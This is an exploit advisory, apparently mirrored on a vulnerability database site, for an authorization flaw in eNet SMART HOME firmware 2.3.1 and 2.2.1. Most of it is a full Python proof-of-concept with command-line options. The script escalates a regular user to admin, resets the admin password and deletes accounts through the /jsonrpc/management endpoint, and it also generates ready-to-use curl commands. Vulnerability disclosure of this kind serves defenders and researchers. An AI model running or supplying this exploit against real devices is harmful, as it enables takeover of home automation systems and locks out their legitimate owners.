=============================================================================================================================================
| # Title : eNet SMART HOME ≤ 2.3.1 / 2.2.1 – Authenticated Privilege Escalation via JSON‑RPC Management Interface |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) |
| # Vendor : https://www.enet-smarthome.com/en/ |
=============================================================================================================================================
[+] Summary : The eNet Smart Home device firmware (versions 2.3.1 build 46841 and 2.2.1 build 46056) exposes JSON‑RPC management methods that may allow authenticated low‑privileged users to perform unauthorized administrative actions.
Improper server‑side authorization controls on the /jsonrpc/management endpoint may enable privilege escalation via methods such as:
setUserGroup
resetUserPassword
deleteUserAccount
If role validation is insufficient, an authenticated standard user may escalate to administrative privileges by manipulating JSON‑RPC parameters.
[+] POC :
#!/usr/bin/env python3
import requests
import json
import sys
import argparse
import random
from urllib3.exceptions import InsecureRequestWarning
from colorama import init, Fore, Style
init(autoreset=True)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class ENetSmartHomeExploit:
def __init__(self, target, port, protocol, icp, verbose=False):
"""
Initialize the exploit class
Args:
target (str): Target IP or hostname
port (str/int): Target port
protocol (str): http or https
icp (str): ICP parameter from URL
verbose (bool): Verbose output
"""
self.target = target
self.port = port
self.protocol = protocol
self.icp = icp
self.verbose = verbose
self.base_url = f"{protocol}://{target}:{port}"
self.session = requests.Session()
self.session.verify = False # Ignore SSL certificates
self.session.headers.update({
'Content-Type': 'application/json; charset=utf-8',
'Accept': 'application/json, */*',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
def print_banner(self):
"""Print tool banner"""
banner = f"""
{Fore.CYAN}╔══════════════════════════════════════════════════════════╗
║ ║
║ {Fore.YELLOW}eNet SMART HOME - Privilege Escalation Exploit by indoushka {Fore.CYAN} ║
║ {Fore.WHITE}ZSL-2026-5975 | Discovered by Gjoko 'LiquidWorm' Krstic{Fore.CYAN} ║
║ {Fore.RED}Version: 2.3.1 (46841) and 2.2.1 (46056){Fore.CYAN} ║
║ ║
╚══════════════════════════════════════════════════════════════╝{Style.RESET_ALL}
"""
print(banner)
def print_warnings(self):
"""Print important warnings"""
warnings = f"""
{Fore.RED}╔══════════════════════════════════════════════════════════╗
║ ⚠️ indoushka ⚠️ ║
╠══════════════════════════════════════════════════════════════╣
║ • This exploit requires a valid session cookie ║
║ • You must be logged in as a regular user first ║
║ • If server validates permissions, exploit will FAIL ║
╚══════════════════════════════════════════════════════════════╝{Style.RESET_ALL}
"""
print(warnings)
def login(self, username, password):
"""
Login to get session cookie
Args:
username (str): Username
password (str): Password
Returns:
bool: True if login successful
"""
print(f"{Fore.YELLOW}[*] Attempting login as {username}...")
url = f"{self.base_url}/jsonrpc/auth"
payload = {
"jsonrpc": "2.0",
"method": "login",
"params": {
"userName": username,
"password": password
},
"id": 1
}
try:
response = self.session.post(url, json=payload, timeout=10)
if response.status_code == 200:
data = response.json()
if "result" in data and data["result"].get("success"):
print(f"{Fore.GREEN}[+] Login successful!")
if self.verbose:
print(f"{Fore.CYAN}[DEBUG] Cookies: {dict(self.session.cookies)}")
return True
else:
print(f"{Fore.RED}[-] Login failed: Invalid credentials")
if self.verbose:
print(f"{Fore.CYAN}[DEBUG] Response: {json.dumps(data, indent=2)}")
else:
print(f"{Fore.RED}[-] Login failed: HTTP {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"{Fore.RED}[-] Login error: {e}")
return False
def execute_exploit(self, action, **kwargs):
"""
Execute the exploit
Args:
action (str): elevate, reset, delete, or test
**kwargs: Additional parameters based on action
Returns:
dict: Response data
"""
url = f"{self.base_url}/jsonrpc/management"
if action == "elevate":
method = "setUserGroup"
params = {
"userName": kwargs.get("username", "zeroscience"),
"userGroup": kwargs.get("group", "UG_ADMIN")
}
elif action == "reset":
method = "resetUserPassword"
params = {
"userName": kwargs.get("username", "admin"),
"defaultPassword": kwargs.get("password", "12345678")
}
elif action == "delete":
method = "deleteUserAccount"
params = {
"userName": kwargs.get("username", "zeroscience")
}
elif action == "test":
method = kwargs.get("test_type", "getUserList")
params = {}
else:
print(f"{Fore.RED}[-] Invalid action: {action}")
return None
request_id = random.randint(1, 9999)
payload = {
"jsonrpc": "2.0",
"method": method,
"params": params,
"id": request_id
}
referer = f"{self.base_url}/serverconfiguration.html?icp={self.icp}#Usermanagement"
self.session.headers.update({'Referer': referer})
print(f"{Fore.YELLOW}[*] Executing: {method}")
if self.verbose:
print(f"{Fore.CYAN}[DEBUG] URL: {url}")
print(f"{Fore.CYAN}[DEBUG] Referer: {referer}")
print(f"{Fore.CYAN}[DEBUG] Payload: {json.dumps(payload, indent=2)}")
try:
response = self.session.post(url, json=payload, timeout=10)
if self.verbose:
print(f"{Fore.CYAN}[DEBUG] Response status: {response.status_code}")
print(f"{Fore.CYAN}[DEBUG] Response headers: {dict(response.headers)}")
if response.status_code == 200:
data = response.json()
if "error" in data:
print(f"{Fore.RED}[-] Server returned error:")
print(json.dumps(data["error"], indent=2))
if data["error"].get("code") == -32601:
print(f"{Fore.YELLOW}[!] Method not found - Target version may be different")
elif "permission" in str(data["error"]).lower():
print(f"{Fore.RED}[!] Permission denied - Server validates roles")
elif "auth" in str(data["error"]).lower():
print(f"{Fore.RED}[!] Authentication failed - Login required")
return data
else:
print(f"{Fore.GREEN}[+] Success!")
print(json.dumps(data, indent=2))
if action == "elevate" and params["userGroup"] == "UG_ADMIN":
print(f"{Fore.GREEN}[+] Privilege escalation completed!")
print(f"{Fore.YELLOW}[!] User {params['userName']} is now admin")
elif action == "reset":
print(f"{Fore.GREEN}[+] Password reset completed!")
elif action == "delete":
print(f"{Fore.GREEN}[+] User deleted successfully!")
elif action == "test" and "result" in data:
print(f"{Fore.GREEN}[+] Test passed - Vulnerability may be present")
return data
else:
print(f"{Fore.RED}[-] HTTP Error: {response.status_code}")
if response.status_code == 401:
print(f"{Fore.RED}[!] Unauthorized - Login required first")
elif response.status_code == 403:
print(f"{Fore.RED}[!] Forbidden - Insufficient permissions or CSRF token required")
elif response.status_code == 404:
print(f"{Fore.RED}[!] Not Found - Check URL or endpoint")
if self.verbose:
print(f"{Fore.CYAN}[DEBUG] Response text: {response.text[:200]}")
except requests.exceptions.Timeout:
print(f"{Fore.RED}[-] Request timeout (10s) - Server not responding")
except requests.exceptions.ConnectionError:
print(f"{Fore.RED}[-] Connection failed - Check target and port")
except requests.exceptions.RequestException as e:
print(f"{Fore.RED}[-] Request error: {e}")
return None
def get_session_info(self):
"""Get current session information"""
print(f"{Fore.YELLOW}[*] Session information:")
print(f" Cookies: {dict(self.session.cookies)}")
print(f" Headers: {dict(self.session.headers)}")
def generate_curl_command(self, action, **kwargs):
"""
Generate curl command for manual testing
Args:
action (str): Action type
**kwargs: Parameters for the action
"""
if action == "elevate":
method = "setUserGroup"
params = {
"userName": kwargs.get("username", "zeroscience"),
"userGroup": kwargs.get("group", "UG_ADMIN")
}
elif action == "reset":
method = "resetUserPassword"
params = {
"userName": kwargs.get("username", "admin"),
"defaultPassword": kwargs.get("password", "12345678")
}
elif action == "delete":
method = "deleteUserAccount"
params = {
"userName": kwargs.get("username", "zeroscience")
}
elif action == "test":
method = kwargs.get("test_type", "getUserList")
params = {}
else:
return None
payload = {
"jsonrpc": "2.0",
"method": method,
"params": params,
"id": random.randint(1, 9999)
}
referer = f"{self.base_url}/serverconfiguration.html?icp={self.icp}#Usermanagement"
curl_cmd = f"""
{Fore.CYAN}# ============================================
# RECOMMENDED METHOD - Command Line (No browser restrictions)
# ============================================
# Step 1: Login and save cookies
curl -k -c cookies.txt -X POST "{self.base_url}/jsonrpc/auth" \\
-H "Content-Type: application/json" \\
-d '{json.dumps({"jsonrpc":"2.0","method":"login","params":{"userName":"YOUR_USERNAME","password":"YOUR_PASSWORD"},"id":1})}'
# Step 2: Execute exploit
curl -k -b cookies.txt -X POST "{self.base_url}/jsonrpc/management" \\
-H "Content-Type: application/json" \\
-H "Referer: {referer}" \\
-d '{json.dumps(payload)}'
# ============================================
# Notes:
# - Use -k to ignore SSL certificate errors
# - Cookies saved in cookies.txt
# - Replace YOUR_USERNAME/YOUR_PASSWORD with actual credentials
# ============================================{Style.RESET_ALL}
"""
print(curl_cmd)
def main():
parser = argparse.ArgumentParser(
description="eNet SMART HOME Privilege Escalation Exploit (ZSL-2026-5975)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python3 exploit.py -t 192.168.1.100 -p 443 --icp a1b2c3d4e5 --protocol https --action elevate -u zeroscience -g UG_ADMIN
python3 exploit.py -t 192.168.1.100 -p 80 --icp a1b2c3d4e5 --action reset -u admin --password 12345678
python3 exploit.py -t 192.168.1.100 -p 443 --icp a1b2c3d4e5 --action delete -u zeroscience
python3 exploit.py -t 192.168.1.100 -p 443 --icp a1b2c3d4e5 --action test --curl
"""
)
parser.add_argument("-t", "--target", required=True, help="Target IP or hostname")
parser.add_argument("-p", "--port", required=True, help="Target port")
parser.add_argument("--protocol", choices=["http", "https"], default="https", help="Protocol (default: https)")
parser.add_argument("--icp", required=True, help="ICP parameter from URL (required)")
parser.add_argument("--action", choices=["elevate", "reset", "delete", "test"], default="test", help="Action to perform")
parser.add_argument("--login", action="store_true", help="Login first")
parser.add_argument("-U", "--login-username", default="admin", help="Username for login")
parser.add_argument("-P", "--login-password", default="12345678", help="Password for login")
parser.add_argument("-u", "--username", default="zeroscience", help="Username for the action")
parser.add_argument("-g", "--group", choices=["UG_USER", "UG_ADMIN"], default="UG_ADMIN", help="Target group for elevation")
parser.add_argument("--password", default="12345678", help="New password for reset action")
parser.add_argument("--test-type", choices=["getUserList", "getSystemInfo"], default="getUserList", help="Test type")
parser.add_argument("-v", "--verbose", action="store_true", help="Verbose output")
parser.add_argument("--curl", action="store_true", help="Generate curl command only")
parser.add_argument("--no-warnings", action="store_true", help="Disable warnings")
args = parser.parse_args()
exploit = ENetSmartHomeExploit(
target=args.target,
port=args.port,
protocol=args.protocol,
icp=args.icp,
verbose=args.verbose
)
exploit.print_banner()
if not args.no_warnings:
exploit.print_warnings()
if args.curl:
exploit.generate_curl_command(
action=args.action,
username=args.username,
group=args.group,
password=args.password,
test_type=args.test_type
)
sys.exit(0)
if args.login:
if not exploit.login(args.login_username, args.login_password):
print(f"{Fore.RED}[-] Login failed. Exiting.")
sys.exit(1)
else:
print(f"{Fore.YELLOW}[!] Warning: Not logging in. Make sure you have a valid session cookie.")
print(f"{Fore.YELLOW}[!] Use --login to login first or --curl for manual testing.")
if args.action == "elevate":
exploit.execute_exploit(
action="elevate",
username=args.username,
group=args.group
)
elif args.action == "reset":
exploit.execute_exploit(
action="reset",
username=args.username,
password=args.password
)
elif args.action == "delete":
exploit.execute_exploit(
action="delete",
username=args.username
)
elif args.action == "test":
exploit.execute_exploit(
action="test",
test_type=args.test_type
)
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print(f"\n{Fore.YELLOW}[!] Interrupted by user")
sys.exit(0)
except Exception as e:
print(f"{Fore.RED}[-] Unexpected error: {e}")
sys.exit(1)
Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation